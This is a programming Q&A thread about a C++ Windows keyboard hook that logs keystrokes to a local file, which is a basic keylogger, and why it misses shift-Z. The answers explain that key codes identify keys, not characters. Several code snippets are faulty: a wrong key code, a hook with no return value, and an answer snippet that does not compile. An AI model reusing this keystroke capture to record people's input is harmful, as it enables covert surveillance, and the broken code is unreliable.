views:

754

answers:

2

The function below is logging the "0", "z" and the "1" ok... but its not capturing the "Z" (shift-z)... any help would be appreciated...

__declspec(dllexport)
LRESULT CALLBACK HookProc (UINT nCode, WPARAM wParam, LPARAM lParam)
{
    if ((nCode == HC_ACTION) && (wParam == WM_KEYUP))
    {
        // This Struct gets infos on typed key
        KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);

        // Bytes written counter for WriteFile()
        DWORD Counter;

        wchar_t Logger[1];

        switch (hookstruct.vkCode)
        {
        case 060: Logger[0] = L'0'; break;
        case 061: Logger[0] = L'1'; break;
        case 90: Logger[0] = L'z'; break;
        case 116: Logger[0] = L'Z'; break;
        }

        // Opening of a logfile. Creating it if it does not exists
        HANDLE  hFile = CreateFile(L"C:\\logfile.txt", GENERIC_WRITE,
            FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

        // put the file pointer to the end
        SetFilePointer(hFile,NULL,NULL,FILE_END);

        // Write the hFile typed in logfile
        WriteFile(hFile,&Logger,sizeof(Logger),&Counter,NULL);

        //WriteFile(hFile,&hookstruct.vkCode,sizeof(hookstruct.vkCode),&Counter,NULL);
        // Close the file
        CloseHandle(hFile);
    }
}
+2  A: 

There's no virtual key code for Z. Try something like this:

            case 90:
                 if(GetAsyncKeyState(VK_LSHIFT|VK_RSHIFT)
                     Logger[0] = L'Z'; break;
                 else
                     Logger[0] = L'z'; break;
arul
+4  A: 

The keyboard does not send characters. It sends keys. Whether you're typing z or Z, you're still pressing the same key, and that key has the same VK code both times.

You should also get notification when the Shift key is pressed or released. You can use those notifications to translate the keystrokes into characters. The caps-lock state will also be relevant for that. You may also be concerned about dead keys.

You can check whether the Shift key is pressed. GetAsyncKeyState will tell you the state of the key right now, and GetKeyState will tell you the state of the key as of the last message removed from the message queue.

Rob Kennedy